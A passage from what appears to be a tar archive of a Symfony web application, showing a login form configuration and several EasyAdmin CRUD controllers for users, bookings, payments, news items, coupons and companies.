'password_label' => 'Your password', // the label displayed for the Sign In form button (the |trans filter is applied to it) 'sign_in_label' => 'Log in', // the 'name' HTML attribute of the <input> used for the username field (default: '_username') 'username_parameter' => 'my_custom_username_field', // the 'name' HTML attribute of the <input> used for the password field (default: '_password') 'password_parameter' => 'my_custom_password_field', // whether to enable or not the "forgot password?" link (default: false) 'forgot_password_enabled' => true, // the path (i.e. a relative or absolute URL) to visit when clicking the "forgot password?" link (default: '#') // 'forgot_password_path' => $this->generateUrl('...', ['...' => '...']), // the label displayed for the "forgot password?" link (the |trans filter is applied to it) 'forgot_password_label' => 'Forgot your password?', // whether to enable or not the "remember me" checkbox (default: false) 'remember_me_enabled' => true, // remember me name form field (default: '_remember_me') 'remember_me_parameter' => 'custom_remember_me_param', // whether to check by default the "remember me" checkbox (default: false) 'remember_me_checked' => true, // the label displayed for the remember me checkbox (the |trans filter is applied to it) 'remember_me_label' => 'Remember me', ]); } protected function getAdminUrl(): string { return $this->urlGenerator->generate(self::LOGIN_ROUTE); } /** * @Route("/{_locale}/logout", name="app_logout", * requirements = { * "_locale"= "en|fr|es" * }) */ public function logout(){ throw new \LogicException("this methode can't be blank, it will been intercept by logout method."); } } Controller/Admin/UserCrudController.php 0000644 00000012705 15117152227 0014240 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\MediaObject; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Config\Action; use EasyCorp\Bundle\EasyAdminBundle\Config\Actions; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\ArrayField; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\ChoiceField; use EasyCorp\Bundle\EasyAdminBundle\Field\CollectionField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\EmailField; use EasyCorp\Bundle\EasyAdminBundle\Field\FormField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\LocaleField; use EasyCorp\Bundle\EasyAdminBundle\Field\TelephoneField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use EasyCorp\Bundle\EasyAdminBundle\Field\UrlField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class UserCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return User::class; } public function configureFields(string $pageName): iterable { return [ FormField::addPanel('User Details')->setIcon('fa fa-users')->addCssClass('optional'), IdField::new('id')->hideOnForm(), ImageField::new('userPicture') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), TextField::new('lastName'), TextField::new('firstName'), EmailField::new('email'), TextField::new('plainPassword', "Password") ->onlyWhenCreating() ->setMaxLength(20) ->setRequired(true) ->setHelp("Require at least 6 characters ") , //CollectionField::new('roles'), ChoiceField::new('local', 'local language')->setChoices([ // $value => $badgeStyleName 'French' => 'fr_FR', 'English' => 'en_US', 'Spanish' => 'es', ])->hideOnIndex(), ChoiceField::new('roles')->setChoices([ 'ROLE_SUPER_ADMIN' => 'ROLE_SUPER_ADMIN', 'ROLE_ADMIN' => 'ROLE_ADMIN', 'ROLE_COMPANY_MANAGER' => 'ROLE_COMPANY_MANAGER', 'ROLE_COMPANY_ACCOUNTING' => 'ROLE_COMPANY_ACCOUNTING', 'ROLE_USER' => 'ROLE_USER', ])->allowMultipleChoices(true)->autocomplete(), AssociationField::new('company'), AssociationField::new('userPicture') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "user") ; // your query })->onlyOnForms(), // panels can also define their icon, CSS class and help message FormField::addPanel('Contact information')->collapsible() ->setIcon('fa fa-phone')->addCssClass('optional') ->setHelp('Phone number is preferred'), TelephoneField::new('phoneNumber'), AssociationField::new('bookingRooms')->hideOnForm(), AssociationField::new('address'), BooleanField::new('isVerified')->hideOnForm(), DateTimeField::new('lastLogin')->hideOnForm(), UrlField::new('resendMail')->hideOnForm(), DateTimeField::new('createdAt')->hideOnForm(), ]; } public function configureActions(Actions $actions): Actions { return $actions // ... ->addBatchAction(Action::new('approve', 'Approve Users') ->linkToCrudAction('approveUsers') ->addCssClass('btn btn-primary') ->setIcon('fa fa-user-check')) ; } public function createEntity(string $entityFqcn) { $entity = new User(); return $entity; } } Controller/Admin/ActualiteCrudController.php 0000644 00000010065 15117152227 0015232 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Actualite; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; use Vich\UploaderBundle\Form\Type\VichImageType; class ActualiteCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Actualite::class; } public function configureFields(string $pageName): iterable { $token = new UsernamePasswordToken($this->getUser(), "main", "common", $this->getUser()->getRoles()); $request = $this->requestStack->getMainRequest(); if (!$request->hasPreviousSession()) { $request->setSession($this->session); $request->getSession()->start(); $request->cookies->set($request->getSession()->getName(), $request->getSession()->getId()); } $this->tokenStorage->setToken($token); $this->session->set('_security_common', serialize($token)); $event = new InteractiveLoginEvent($this->requestStack->getCurrentRequest(), $token); $this->eventDispatcher->dispatch( $event); /* TextField::new('title'), TextEditorField::new('description'), MoneyField::new('price')->setCurrency('EUR'), IntegerField::new('stock'), DateTimeField::new('publishedAt'), EmailField::new('email')->hideOnIndex(), IdField::new('id')->hideOnForm(), AssociationField::new('...')->renderAsNativeWidget(); yield AssociationField::new('...')->setCrudController(SomeCrudController::class); * */ return [ ImageField::new('cover') ->setBasePath($this->getParameter('app.path.media_object'))->onlyOnIndex(), TextField::new('newTitleFr')->hideOnIndex(), TextField::new('newTitleEn'), TextField::new('newTitleEs')->hideOnIndex(), TextEditorField::new('contentFr')->hideOnIndex(), TextEditorField::new('contentEn'), TextEditorField::new('contentEs')->hideOnIndex(), AssociationField::new('cover')->onlyOnForms(), AssociationField::new('picture1')->hideOnIndex(), AssociationField::new('picture2')->hideOnIndex(), BooleanField::new('publish'), DateTimeField::new('createdAt')->hideOnForm(), AssociationField::new('createdBy') ]; } } Controller/Admin/AddressCrudController.php 0000644 00000004212 15117152227 0014701 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Address; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\FormField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\TelephoneField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class AddressCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Address::class; } public function configureFields(string $pageName): iterable { return [ FormField::addPanel('Address Details')->collapsible(true), IdField::new('id')->hideOnForm(), TextField::new('location'), TelephoneField::new('phone'), TextField::new('latitude'), TextField::new('longitude'), AssociationField::new('town'), ]; } } Controller/Admin/BookingRoomCrudController.php 0000644 00000005005 15117152227 0015542 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\BookingRoom; use App\Entity\BuildingType; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use EasyCorp\Bundle\EasyAdminBundle\Field\UrlField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class BookingRoomCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return BookingRoom::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), AssociationField::new('user'), AssociationField::new('room'), AssociationField::new('comingFrom'), IntegerField::new('child'), IntegerField::new('adult'), DateTimeField::new('arrivalDate'), DateTimeField::new('departureDate'), AssociationField::new('payment'), UrlField::new('paymentLink')->hideOnForm(), BooleanField::new('paymentAsBeenConfirmed',"hasBeenPaid")->hideOnForm(), ]; } } Controller/Admin/BuildingOptionCrudController.php 0000644 00000003544 15117152230 0016243 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\BuildingOption; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class BuildingOptionCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return BuildingOption::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new BuildingOption(); return $entity; } } Controller/Admin/BuildingTypeCrudController.php 0000644 00000003537 15117152230 0015716 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\BuildingType; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class BuildingTypeCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return BuildingType::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new BuildingType(); return $entity; } } Controller/Admin/CommentaireCrudController.php 0000644 00000003532 15117152230 0015555 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\Commentaire; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class CommentaireCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Commentaire::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new Commentaire(); return $entity; } } Controller/Admin/ContactCrudController.php 0000644 00000004451 15117152230 0014706 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\Contact; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class ContactCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Contact::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), AssociationField::new('visitor'), AssociationField::new('threatBy')->hideWhenCreating(), TextEditorField::new('message')->hideOnIndex(), DateTimeField::new('createdAt'), DateTimeField::new('threatAt')->onlyWhenUpdating(), ]; } public function createEntity(string $entityFqcn) { $entity = new Contact(); return $entity; } } Controller/Admin/CouponCrudController.php 0000644 00000003725 15117152230 0014561 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\Coupon; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class CouponCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Coupon::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new Coupon(); $user=$this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $entity->setCreatedBy($user); return $entity; } } Controller/Admin/FileCrudController.php 0000644 00000003246 15117152230 0014173 0 ustar 00 <?php namespace App\Controller\Admin; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Vich\UploaderBundle\Entity\File; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; class FileCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return File::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ } Controller/Admin/LogsCrudController.php 0000644 00000004175 15117152230 0014222 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\Logs; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class LogsCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Logs::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), TextField::new('activity'), TextField::new('ipAddress'), AssociationField::new('user'), DateTimeField::new('createdAt')->hideOnForm(), ]; } public function createEntity(string $entityFqcn) { $entity = new Logs(); return $entity; } } Controller/Admin/MediaObjectCrudController.php 0000644 00000004165 15117152230 0015463 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\MediaObject; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Vich\UploaderBundle\Form\Type\VichImageType; class MediaObjectCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return MediaObject::class; } public function configureFields(string $pageName): iterable { return [ ImageField::new('file', 'File') ->setUploadDir("/public/media") ->hideOnIndex(), ImageField::new('filePath') ->setBasePath($this->getParameter('app.path.media_object'))->onlyOnIndex(), TextField::new('file_type')->onlyOnIndex(), DateTimeField::new('createdAt')->hideOnForm(), ]; } } Controller/Admin/PartenariatCrudController.php 0000644 00000003530 15117152230 0015562 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\Partenariat; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class PartenariatCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Partenariat::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new Partenariat(); return $entity; } } Controller/Admin/PaymentCrudController.php 0000644 00000003417 15117152230 0014731 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Payment; use App\Entity\User; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\MoneyField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; class PaymentCrudController extends AbstractCrudController { private $entityManager; public function __construct( EntityManagerInterface $entityManager) { $this->entityManager=$entityManager; } public static function getEntityFqcn(): string { return Payment::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), AssociationField ::new('user'), MoneyField ::new('amount')->setCurrency("XAF")->setStoredAsCents(false), MoneyField ::new('fees')->setCurrency("XAF")->setStoredAsCents(false), MoneyField ::new('discount')->setCurrency("XAF")->setStoredAsCents(false), AssociationField ::new('booking')->onlyWhenUpdating(), AssociationField ::new('paymentOption'), DateTimeField ::new('createdAt')->hideOnForm(), DateTimeField ::new('expireAt')->onlyWhenUpdating()->setValue(new \DateTimeImmutable()), ]; } /** * @param Payment $entityInstance */ public function updateEntity(EntityManagerInterface $entityManager, $entityInstance): void { $entityInstance->setExpireAt(new \DateTimeImmutable()); parent::updateEntity($entityManager, $entityInstance); } } Controller/Admin/RoomOptionCrudController.php 0000644 00000003523 15117152230 0015417 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Contact; use App\Entity\RoomOption; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class RoomOptionCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return RoomOption::class; } /* public function configureFields(string $pageName): iterable { return [ IdField::new('id'), TextField::new('title'), TextEditorField::new('description'), ]; } */ public function createEntity(string $entityFqcn) { $entity = new RoomOption(); return $entity; } } Controller/Admin/CompanyCrudController.php 0000644 00000010265 15117152230 0014721 0 ustar 00 <?php namespace App\Controller\Admin; use App\Entity\Announce; use App\Entity\Company; use App\Entity\MediaObject; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\EmailField; use EasyCorp\Bundle\EasyAdminBundle\Field\FormField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\TelephoneField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextareaField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextEditorField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use EasyCorp\Bundle\EasyAdminBundle\Field\UrlField; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class CompanyCrudController extends AbstractCrudController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } public static function getEntityFqcn(): string { return Company::class; } public function configureFields(string $pageName): iterable { return [ FormField::addPanel('Company Details')->collapsible(true), IdField::new('id')->hideOnForm(), ImageField::new('companyLogoMain') ->setBasePath($this->getParameter('app.path.media_object'))->onlyOnIndex(), TextField::new('companyName'), TextField::new('companyDomain'), AssociationField::new('subscriptions')->onlyOnIndex(), TextField::new('CompanySlogan')->hideOnIndex(), TextField::new('companyShortDescription')->hideOnIndex(), TextareaField::new('companyFullDescription')->hideOnIndex(), AssociationField::new('companyLogoMain') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = 